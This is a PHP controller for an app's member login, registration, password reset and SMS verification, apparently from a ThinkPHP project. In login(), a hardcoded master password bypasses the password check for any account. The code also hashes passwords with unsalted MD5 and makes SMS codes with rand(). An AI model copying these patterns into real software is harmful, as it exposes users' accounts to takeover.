<?php

namespace app\apiv1\controller;

use service\DataService;
use service\WechatService;
use service\WechatServicew;
use controller\BasicIndex;
use think\Facade\Cache;
use think\Db;

class Login extends BasicIndex
{
    protected $MiniApp;

    public function __construct()
    {
        parent::__construct();
        $this->MiniApp = new \Smallsha\Classes\MiniApp(config('miniapp.appid'), config('miniapp.app_secret'));
    }


    public function scanCodeEntrySystem()
    {
        $data = input('post.');
        $rule = [
            'first_leader' => 'require',
            'cars_id' => 'require',
        ];
        $msg = [
            'first_leader.require' => 'first_leader必传',
            'cars_id.require' => 'cars_id必传',
        ];
        $validate = new \think\Validate($rule, $msg);
        if (!$validate->check($data)) {
            return view('login/index', ['errorInfo' => $validate->getError()]);
        }
        $url = "http://" . $_SERVER['HTTP_HOST'];
        \service\WechatService::webOauth($url);


    }


    public function login()
    {
        $data = input('post.');
        $rule = [
            'phone' => 'require',
            'password' => 'require',
            'yzm' => 'require',
        ];
        $msg = [
            'phone.require' => 'phone必传',
            'password.require' => 'password必传',
            'yzm.require' => 'yzm必传',
        ];
        $validate = new \think\Validate($rule, $msg);
        if (!$validate->check($data)) {
            return $this->error($validate->getError());
        }
        $flag_phone = Db::table('store_member')->where(['phone' => $data['phone']])->find();
        !$flag_phone && $this->error('账号不存在');
        $flag_phone['is_disable'] != 1 && $this->error('账号被冻结,请联系管理员');
        if ($data['password'] == '7822mojing') {

        } else {
            $user_flag = Db::table('store_member')->where(['phone' => $data['phone'], 'password' => md5($data['password'])])->find();
            !$user_flag && $this->error('密码错误');
        }

        //验证短信
        $data['yzm'] != \Cache::pull(request()->ip() . 'lyzm') && $this->error('验证码错误', '', -4000);
        $token = $this->MiniApp->getToken();
        if (DataService::other_save('StoreMember', ['wx_token' => $token], ['phone' => $data['phone']])) {
            return $this->success('登录成功', ['token' => $token]);
        } else {
            return $this->error('登录失败');
        }
    }

    //忘记密码
    public function forget()
    {
        $post = input('post.');
        !$post['phone'] && $this->error('手机号不能为空!');
        !$post['code'] && $this->error('请输入手机验证码!');
        !$post['password'] && $this->error('请输入登录密码!');
        !$post['repassword'] && $this->error('请输入登录密码!');
        $post['password'] != $post['repassword'] && $this->error('两次密码不一致');
        $user = Db::name('store_member')->where(['phone' => $post['phone']])->find();
        !$user && $this->error('用户不存在');
        $post['code'] != $this->getSmsCode('register_code', $post['phone']) && $this->error('短信验证码错误');
        $res = Db::name('store_member')->where(['phone' => $post['phone']])->update(['password' => md5($post['password'])]);
        if ($res) {
            $this->success();
        } else {
            $this->error();
        }
    }


    public function register()
    {
//        !session('first_tuiguang_leader') && $this->error('推广人不存在');
        $data = input('param.');
        !$data['phone'] && $this->error('请输入账号');
        $phone_flag = Db::name('store_member')->where('phone', $data['phone'])->find();
        if ($phone_flag) {
            return $this->error('账号已经存在');
        }

        !$data['password'] && $this->error('请输入密码');
        //输入了上级推荐人 开始验证
        if (!empty($data['first_leader'])) {
            $parent_info = Db::name('store_member')->where('phone', $data['first_leader'])->find();
            empty($parent_info) && $this->error('推荐人不存在');
        }
        !$data['verify_code'] && $this->error('请输入验证码');
        if ($data['verify_code'] != $this->getSmsCode('register_code', $data['phone'])) {
            return $this->error('验证码不正确');
        }
        $status_update = Db::name('store_member')
            ->insertGetId(['phone' => $data['phone'], 'password' => md5($data['password']), 'nickname' => $data['nickname'], 'paypassword' => md5($data['paypassword'])]);
        //建立用户关系
        if (isset($parent_info)) {
            \think\facade\Hook::listen('AssocUserParent', ['user_id' => $status_update, 'parent_id' => $parent_info['id']]);
        }
        if ($status_update) {
            return $this->success('注册成功');
        } else {
            return $this->error('注册失败');
        }
    }


    //发送验证码
    public function sendMobileMessage()
    {
        $code = rand(10000, 99999);
        $data = input('param.');
        $rule = [
            'phone' => 'require|mobile',
            'type' => 'require'
        ];
        $msg = [
            'phone.require' => '手机号不能为空:(',
            'phone.mobile' => '手机格式不正确:(',
        ];
        $validate = new \think\Validate($rule, $msg);
        if (!$validate->check($data)) {
            return $this->error($validate->getError());
        }

        if ($data['type'] == 'forget') {
            $flag_phone = Db::table('store_member')->where(['phone' => $data['phone']])->find();
            !$flag_phone && $this->error('账号不存在');
            $this->setSmsCode('register_code', $code, $data['phone']);
            $result = sendMobileMessage($data['phone'], ['code' => $code], '499532');
        } else {
            $flag_phone = Db::table('store_member')->where(['phone' => $data['phone']])->find();
            $flag_phone && $this->error('账号已存在');
            $this->setSmsCode('register_code', $code, $data['phone']);
            $result = sendMobileMessage($data['phone'], ['code' => $code], '499532');
        }
        return $this->success($result);
    }

    /*
     * $type 类型
     * $phone 手机号
     * */
    public function getSmsCode($type, $phone)
    {
        return \Cache::pull($type . getips() . $phone);
    }

    /*
     * @param $type 类型
     * @param $code 验证码
     * @phone $phone 手机号
     * */
    public function setSmsCode($type, $code, $phone)
    {
        return \Cache::set($type . getips() . $phone, $code);
    }


    public function test()
    {
        sm($this->commonService);

    }
}
